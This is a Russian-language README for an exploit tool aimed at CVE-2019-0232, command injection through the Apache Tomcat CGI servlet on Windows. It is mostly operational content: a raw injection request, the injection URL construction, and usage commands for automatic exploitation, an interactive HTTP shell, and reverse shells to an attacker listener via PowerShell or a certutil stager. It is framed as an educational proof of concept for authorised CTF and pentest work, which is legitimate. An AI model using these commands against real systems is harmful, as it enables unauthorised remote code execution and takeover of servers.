
Apache Tomcat CGI Servlet RCE (Windows)
Образовательный PoC только для авторизованных CTF / тестов на проникновение.
Запуск этого инструмента против систем, которые вам не принадлежат или на которые у вас нет явного письменного разрешения на тестирование, является незаконным.
CVE-2019-0232 — это уязвимость удаленного выполнения кода в Apache Tomcat на Windows.
Когда в CGI-сервлете установлено enableCmdLineArguments=true (по умолчанию в Windows до исправления), Tomcat передает строку HTTP-запроса непосредственно в качестве аргументов командной строки CGI-пакетному файлу через Runtime.exec(). В Windows Runtime.exec() оборачивает вызов в cmd.exe /c, что делает разделитель команд & активным внутри этих аргументов.
Злоумышленник может внедрить вторую команду ОС, включив & (URL-кодированный как %26) в URL:
GET /cgi-bin/cmd.bat?%26whoami HTTP/1.1
# Tomcat URL-decodes → cmd.exe /c cmd.bat &whoami
# cmd.exe sees the & and runs whoami after cmd.bat exits
| Ветка | Уязвимый диапазон | Исправлено в |
|---|---|---|
| 9.0.x | 9.0.0.M1 – 9.0.17 | 9.0.18 |
| 8.5.x | 8.5.0 – 8.5.39 | 8.5.40 |
| 7.0.x | 7.0.0 – 7.0.93 | 7.0.94 |
Требование: enableCmdLineArguments=true в conf/web.xml (по умолчанию в Windows до исправления).
-w)--cmd)certutil (запасной вариант)System32, Windows, Wbem, PowerShell, так что whoami, ipconfig, netstat, powershell.exe работают без полных путей2>&1 добавляется автоматически, чтобы вывод ошибок был виден--proxy http://127.0.0.1:8080git clone https://github.com/blackjuker2/CVE-2019-0232.git
cd CVE-2019-0232
pip install -r requirements.txt
Требуется Python 3.8+.
python3 cve_2019_0232.py -t <TARGET_URL> [options]
| Флаг | Описание |
|---|---|
--auto | Перебор → фаззинг → вход в интерактивную оболочку |
--enum | Только перебор версии Tomcat и CGI-путей |
--fuzz | Фаззинг доступных конечных точек .bat/.cmd |
--cmd COMMAND | Выполнить одну команду |
--interactive | Цикл интерактивной HTTP-оболочки |
--reverse-shell | Запустить обратную оболочку (требуется --lhost) |
Автоматический режим — скрипт найдет все сам:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto
Одиночная команда на известной конечной точке:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami
Цикл интерактивной оболочки:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive
Полная автоматическая цепочка → обратная оболочка (отдельный nc не нужен):
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto --reverse-shell --lhost 10.10.14.x --lport 4444
Скрипт открывает собственный TCP-слушатель на --lport, отправляет PowerShell-полезную нагрузку и помещает вас в интерактивную оболочку, когда цель возвращает соединение.
Обратная оболочка PowerShell на известном пути:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444
Стейджер certutil (если PowerShell заблокирован):
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444 --shell-method certutil
Пользовательский словарь для фаззинга:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --fuzz -w /usr/share/dirb/wordlists/common.txt
Записи без расширения файла автоматически проверяются как .bat, так и .cmd.
Маршрутизация через Burp Suite:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami --proxy http://127.0.0.1:8080
Показывать исходный URL инъекции перед каждым запросом:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive --show-url
positional / required:
-t, --target URL Базовый URL цели, например http://10.10.10.x:8080
path:
-p, --path PATH Известный путь CGI-скрипта, например /cgi/cmd.bat
modes:
--auto Полная цепочка: перебор → фаззинг → интерактив
--enum Перебор версии Tomcat и CGI-путей
--fuzz Фаззинг доступных конечных точек CGI-скриптов
--cmd COMMAND Выполнить одну команду и вывести результат
--interactive Интерактивный цикл команд (HTTP-оболочка)
--reverse-shell Отправить обратную оболочку PowerShell
reverse shell:
--lhost IP Ваш IP слушателя (используйте tun0 для HTB/OSCP)
--lport PORT Ваш порт слушателя (по умолчанию: 4444)
--shell-method {ps,certutil}
Тип полезной нагрузки: ps (по умолчанию) или стейджер certutil
options:
-w, --wordlist FILE Дополнительные имена CGI для фаззинга (по одному на строку)
--threads N Потоки фаззинга (по умолчанию: 15)
--timeout N Таймаут HTTP в секундах (по умолчанию: 10)
--proxy URL HTTP прокси, например http://127.0.0.1:8080
--no-ssl-verify Отключить проверку сертификата TLS
--show-url Выводить полный URL инъекции перед каждым запросом
Скрипт формирует URL инъекции в три шага:
Внедрение PATH — оборачивает вашу команду в группу, которая сначала устанавливает PATH:
(SET PATH=C:\Windows\System32;C:\Windows;...&echo.&<your command> 2>&1)
echo. выводит пустую строку, удовлетворяя парсеру CGI-заголовков Tomcat, чтобы тело ответа было видно.
URL-кодирование — пробелы становятся +, специальные символы становятся %XX через urllib.parse.quote.
Точка инъекции — закодированная группа помещается после %26 (разделитель &):
/cgi/cmd.bat?%26(SET+PATH=...%26echo.%26whoami+2>%261)
Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности.
Автор не несет ответственности за любое неправомерное использование или ущерб, причиненный этим инструментом.
Всегда получайте явное письменное разрешение перед тестированием любой системы.